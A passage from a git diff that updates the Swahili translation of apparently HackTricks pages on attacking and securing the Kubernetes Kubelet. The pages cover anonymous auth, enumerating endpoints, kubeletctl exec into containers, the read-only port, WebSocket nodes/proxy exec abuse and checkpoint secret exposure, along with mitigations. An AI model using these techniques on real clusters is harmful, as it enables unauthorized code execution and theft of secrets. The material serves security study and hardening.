> Huwasha maombi ya anonymous kwenda kwa Kubelet server. Maombi ambayo hayakataliwi na njia nyingine ya authentication yanachukuliwa kama maombi ya anonymous. Maombi ya anonymous yana username ya `system:anonymous`, na group name ya `system:unauthenticated`
|
||||
> Huwasha anonymous requests kwa Kubelet server. Requests ambazo hazikataliwi na njia nyingine ya authentication zinachukuliwa kama anonymous requests. Anonymous requests zina username ya `system:anonymous`, na group name ya `system:unauthenticated`
|
||||
|
||||
Ili kuelewa vizuri jinsi **authentication and authorization ya Kubelet API inavyofanya kazi** angalia ukurasa huu:
|
||||
|
||||
@@ -169,7 +179,7 @@ Ili kuelewa vizuri jinsi **authentication and authorization ya Kubelet API inavy
|
||||
kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Huduma ya **Kubelet** **API haijaandikwa katika documentation**, lakini source code inaweza kupatikana hapa na kupata exposed endpoints ni rahisi kama **kuendesha**:
|
||||
Service **API ya Kubelet** **haijaandikwa kwenye documentation**, lakini source code inaweza kupatikana hapa na kupata endpoints zilizo wazi ni rahisi kama **kuendesha**:
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
|
||||
|
||||
@@ -181,32 +191,32 @@ Path("/portForward")
|
||||
Path("/containerLogs")
|
||||
Path("/runningpods/").
|
||||
```
|
||||
Zote zote zinaonekana za kuvutia.
|
||||
Zote zote zinasikika za kuvutia.
|
||||
|
||||
Unaweza kutumia zana ya [**Kubeletctl**](https://github.com/cyberark/kubeletctl) kuingiliana na Kubelets na endpoints zao.
|
||||
Unaweza kutumia chombo cha [**Kubeletctl**](https://github.com/cyberark/kubeletctl) kuingiliana na Kubelets na endpoints zao.
|
||||
|
||||
#### /pods
|
||||
|
||||
Endpoint hii inaorodhesha pods na containers zake:
|
||||
Endpoint hii huorodhesha pods na containers zao:
|
||||
```bash
|
||||
kubeletctl pods
|
||||
```
|
||||
#### /exec
|
||||
|
||||
Hii endpoint inaruhusu kutekeleza code ndani ya container yoyote kwa urahisi sana:
|
||||
Endpoint hii inaruhusu execute code ndani ya container yoyote kwa urahisi sana:
|
||||
```bash
|
||||
kubeletctl exec [command]
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ili kuepuka shambulio hili huduma ya _**kubelet**_ inapaswa kuendeshwa na `--anonymous-auth false` na huduma hiyo inapaswa kutengwa katika kiwango cha network.
|
||||
> Ili kuepuka shambulio hili huduma ya _**kubelet**_ inapaswa kuendeshwa na `--anonymous-auth false` na huduma inapaswa kutengwa katika kiwango cha network.
|
||||
|
||||
### **Kukagua Ufunikaji wa Taarifa wa Kubelet (Read Only Port)**
|
||||
### **Checking Kubelet (Read Only Port) Information Exposure**
|
||||
|
||||
Wakati **kubelet read-only port** imefunuliwa, inawezekana kwa taarifa kuchukuliwa kutoka API na watu wasioidhinishwa. Ufunikaji wa port hii unaweza kusababisha kufichuliwa kwa vipengele mbalimbali vya **cluster configuration**. Ingawa taarifa hiyo, ikijumuisha **pod names, locations of internal files, and other configurations**, huenda isiwe muhimu sana, kufunuliwa kwake bado kuna hatari ya usalama na kunapaswa kuepukwa.
|
||||
Wakati **kubelet read-only port** imefunuliwa, inawezekana taarifa kuchukuliwa kutoka kwenye API na wahusika wasioidhinishwa. Kufunuliwa kwa port hii kunaweza kusababisha ufunuo wa vipengele mbalimbali vya **cluster configuration**. Ingawa taarifa, zikiwemo **pod names, locations of internal files, na configurations nyingine**, huenda zisiwe muhimu sana, kufunuliwa kwake bado kunaleta hatari ya usalama na kunapaswa kuepukwa.
|
||||
|
||||
Mfano wa jinsi udhaifu huu unavyoweza kutumiwa unahusisha mshambuliaji wa mbali kufikia URL mahususi. Kwa kwenda kwenye `http://<external-IP>:10255/pods`, mshambuliaji anaweza kupata taarifa nyeti kutoka kwa kubelet:
|
||||
Mfano wa jinsi vulnerability hii inaweza kutumiwa unahusisha attacker wa mbali kufikia URL maalum. Kwa kwenda `http://<external-IP>:10255/pods`, attacker anaweza kupata taarifa nyeti kutoka kwenye kubelet:
|
||||
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+41
-26
@@ -6,20 +6,20 @@
|
||||
|
||||
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
Kwa chaguo-msingi, maombi kwa endpoint ya kubelet ya HTTPS ambayo hayakatwi na mbinu nyingine zilizoamuliwa za authentication hutendewa kama maombi anonymous, na yanapewa **username ya `system:anonymous`** na **group ya `system:unauthenticated`**.
|
||||
Kwa chaguo-msingi, maombi kwa kubelet's HTTPS endpoint ambayo hayakataliwi na njia nyingine za authentication zilizo configured hutendewa kama anonymous requests, na kupewa **username ya `system:anonymous`** na **group ya `system:unauthenticated`**.
|
||||
|
||||
Njia **3** za authentication ni:
|
||||
The **3** authentication **methods** are:
|
||||
|
||||
- **Anonymous** (default): Weka param **`--anonymous-auth=true`** au tumia config:
|
||||
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: Hii ita **wezesha** kubectl **API bearer tokens** kama njia ya uthibitisho (token yoyote halali itatumika). Ili kuruhusu:
|
||||
- hakikisha `authentication.k8s.io/v1beta1` API group imewezeshwa kwenye API server
|
||||
- anzisha kubelet kwa **`--authentication-token-webhook`** na **`--kubeconfig`** flags au tumia mpangilio ufuatao:
|
||||
- **Webhook**: Hii itawasha kubectl **API bearer tokens** kama authorization (token yoyote halali itakuwa halali). Iiruhusu kwa:
|
||||
- hakikisha kundi la API `authentication.k8s.io/v1beta1` limewezeshwa katika API server
|
||||
- anzisha kubelet kwa flags **`--authentication-token-webhook`** na **`--kubeconfig`** au tumia setting ifuatayo:
|
||||
```json
|
||||
"authentication": {
|
||||
"webhook": {
|
||||
@@ -28,11 +28,11 @@ Njia **3** za authentication ni:
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> Kubelet huita **`TokenReview` API** kwenye API server iliyosanidiwa ili **kubaini taarifa za mtumiaji** kutoka kwa bearer tokens
|
||||
>
|
||||
- **X509 client certificates:** Zinaruhusu uthibitishaji kupitia X509 client certificates
|
||||
> The kubelet huita **`TokenReview` API** kwenye API server iliyosanidiwa ili **kuamua maelezo ya mtumiaji** kutoka kwa bearer tokens
|
||||
|
||||
- **X509 client certificates:** Huruhusu authenticate kupitia X509 client certs
|
||||
- angalia [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) kwa maelezo zaidi
|
||||
- anza kubelet kwa kutumia flag ya `--client-ca-file`, ukiweka CA bundle ili kuthibitisha client certificates. Au kwa config:
|
||||
- anzisha kubelet kwa flag `--client-ca-file`, ukitoa CA bundle ya kuthibitisha client certificates nayo. Au kwa config:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,16 +40,16 @@ Njia **3** za authentication ni:
|
||||
}
|
||||
}
|
||||
```
|
||||
## Uidhinishaji wa Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Kila ombi ambalo limethibitishwa kwa mafanikio (ikijumuisha ombi la mtumiaji isiyotambulika) **halafu linaidhinishwa**. Hali ya **chaguo-msingi** ya uidhinishaji ni **`AlwaysAllow`**, ambayo **inaruhusu maombi yote**.
|
||||
Ombi lolote ambalo limeidhinishwa kwa mafanikio (ikiwemo ombi la anonymous) **huteuliwa kisha kuidhinishwa**. Modi ya **default** ya authorization ni **`AlwaysAllow`**, ambayo **inaruhusu ombi zote**.
|
||||
|
||||
Hata hivyo, thamani nyingine inayowezekana ni **`webhook`** (ambayo ndiyo utakayopata kwa kawaida). Hali hii itakagua ruhusa za mtumiaji aliyethibitishwa ili kuruhusu au kukataa kitendo.
|
||||
Hata hivyo, thamani nyingine inayowezekana ni **`webhook`** (ambayo ndiyo utakayokuwa **ukiipata sana huko nje**). Modi hii **itaangalia permissions za user aliyeidhinishwa** ili kuruhusu au kukataza action.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba hata kama **uthibitishaji wa watumiaji wasiotambulika umewezeshwa**, **ufikiaji wa watumiaji wasiotambulika** unaweza **kubaki bila ruhusa zozote** za kufanya kitendo chochote.
|
||||
> Kumbuka kwamba hata kama **anonymous authentication imewezeshwa** bado **anonymous access** huenda **isiwe na permissions yoyote** ya kutekeleza action yoyote.
|
||||
|
||||
Uidhinishaji kupitia webhook unaweza kusanidiwa kwa kutumia **param `--authorization-mode=Webhook`** au kupitia faili ya usanidi kwa:
|
||||
Authorization kupitia webhook inaweza kusanidiwa kwa kutumia **param `--authorization-mode=Webhook`** au kupitia config file na:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,11 +59,11 @@ Uidhinishaji kupitia webhook unaweza kusanidiwa kwa kutumia **param `--authoriza
|
||||
}
|
||||
},
|
||||
```
|
||||
The kubelet inaita API ya **`SubjectAccessReview`** kwenye API server iliyosanidiwa ili **kuamua** kama kila ombi limeidhinishwa.
|
||||
The kubelet inaita **`SubjectAccessReview`** API kwenye configured API server ili **kubaini** kama kila request **imeauthorized.**
|
||||
|
||||
Kubelet inaidhinisha maombi ya API kwa kutumia mbinu ile ile ya [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) kama apiserver:
|
||||
The kubelet inaauthorize API requests kwa kutumia approach ileile ya [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) kama apiserver:
|
||||
|
||||
- **Kitendo**
|
||||
- **Action**
|
||||
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
@@ -73,7 +73,7 @@ Kubelet inaidhinisha maombi ya API kwa kutumia mbinu ile ile ya [request attribu
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- The **resource** inayozungumza na Kubelet api ni **daima** **nodes** na **subresource** huamuliwa kutoka kwenye path ya ombi linalokuja:
|
||||
- The **resource** inayozungumza na Kubelet api ni **daima** **nodes** na **subresource** **imedetermined** kutoka kwenye path ya incoming request:
|
||||
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
@@ -81,23 +81,38 @@ Kubelet inaidhinisha maombi ya API kwa kutumia mbinu ile ile ya [request attribu
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| /checkpoint/\* | nodes | checkpoint |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. Msimamizi (principal) mwenye tu `nodes/proxy` **GET** bado anaweza kufanya exec kwenye containers ikiwa anatoka moja kwa moja kwa kuunganishwa na `https://<node_ip>:10250` kwa kupitia WebSockets. Tazama the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) kwa maelezo.
|
||||
Katika modern clusters, fine-grained kubelet authorization ime-enabled by default. Kubernetes v1.36 ilifanya hili stable: kubelet kwanza hukagua more specific subresources kwa paths kama `/pods`, `/runningPods`, `/healthz`, na `/configz` kabla ya kurudi kwenye `nodes/proxy` kwa backward compatibility.
|
||||
|
||||
Kwa mfano, ombi lifuatalo lilijaribu kupata taarifa za pods za kubelet bila ruhusa:
|
||||
| Kubelet API | preferred subresource | fallback |
|
||||
| ----------- | --------------------- | -------- |
|
||||
| /pods | nodes/pods | nodes/proxy |
|
||||
| /runningPods/ | nodes/pods | nodes/proxy |
|
||||
| /healthz | nodes/healthz | nodes/proxy |
|
||||
| /configz | nodes/configz | nodes/proxy |
|
||||
|
||||
Tumia hizi narrower subresources kwa monitoring na diagnostics inapowezekana. Epuka kutoa broad `nodes/proxy` kwa ordinary metrics, stats, health, pod-listing, au config review kwa sababu `nodes/proxy` bado inashughulikia higher-impact kubelet APIs.
|
||||
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, na `/portforward` zinaingia kwenye default **proxy** subresource na zinaauthorized kwa kutumia initial HTTP **GET** handshake. A principal mwenye `nodes/proxy` **GET** pekee bado anaweza exec containers akijiunganisha moja kwa moja kwenye `https://<node_ip>:10250` kupitia WebSockets. Tazama [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) kwa details.
|
||||
|
||||
The kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) ni another sensitive kubelet surface. Kubernetes v1.30 ilifanya container checkpointing beta na ika-enabled by default, lakini request bado inategemea kubelet authorization na runtime support kama CRI-O au containerd yenye checkpoint/CRIU capability. Successful checkpoints huandikwa chini ya kubelet root directory, default `/var/lib/kubelet/checkpoints`, na zinaweza kuwa na process memory yenye tokens, keys, au application secrets. Restrict `nodes/checkpoint`, disable old read-only port, limit direct kubelet network reachability, na monitor au clean checkpoint archives ikiwa feature hii inatumika kwa makusudi.
|
||||
|
||||
For example, following request tried to access the pods info of kubelet without permission:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Tulipokea **Forbidden**, hivyo ombi lilipita **Authentication check**. Kama sivyo, tungepata ujumbe tu wa `Unauthorised`.
|
||||
- Tunaweza kuona **username** (kwa kesi hii kutoka kwa token)
|
||||
- Angalia jinsi **resource** ilikuwa **nodes** na **subresource** **proxy** (ambayo inaeleweka kutokana na taarifa zilizotangulia)
|
||||
- Tulipata **Forbidden**, kwa hiyo ombi **lilipita Authentication check**. Kama sivyo, tungepokea tu ujumbe wa `Unauthorised`.
|
||||
- Tunaweza kuona **username** (katika kesi hii kutoka kwa token)
|
||||
- Angalia jinsi **resource** ilikuwa **nodes** na **subresource** **proxy** (ambayo inaeleweka na taarifa ya awali)
|
||||
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user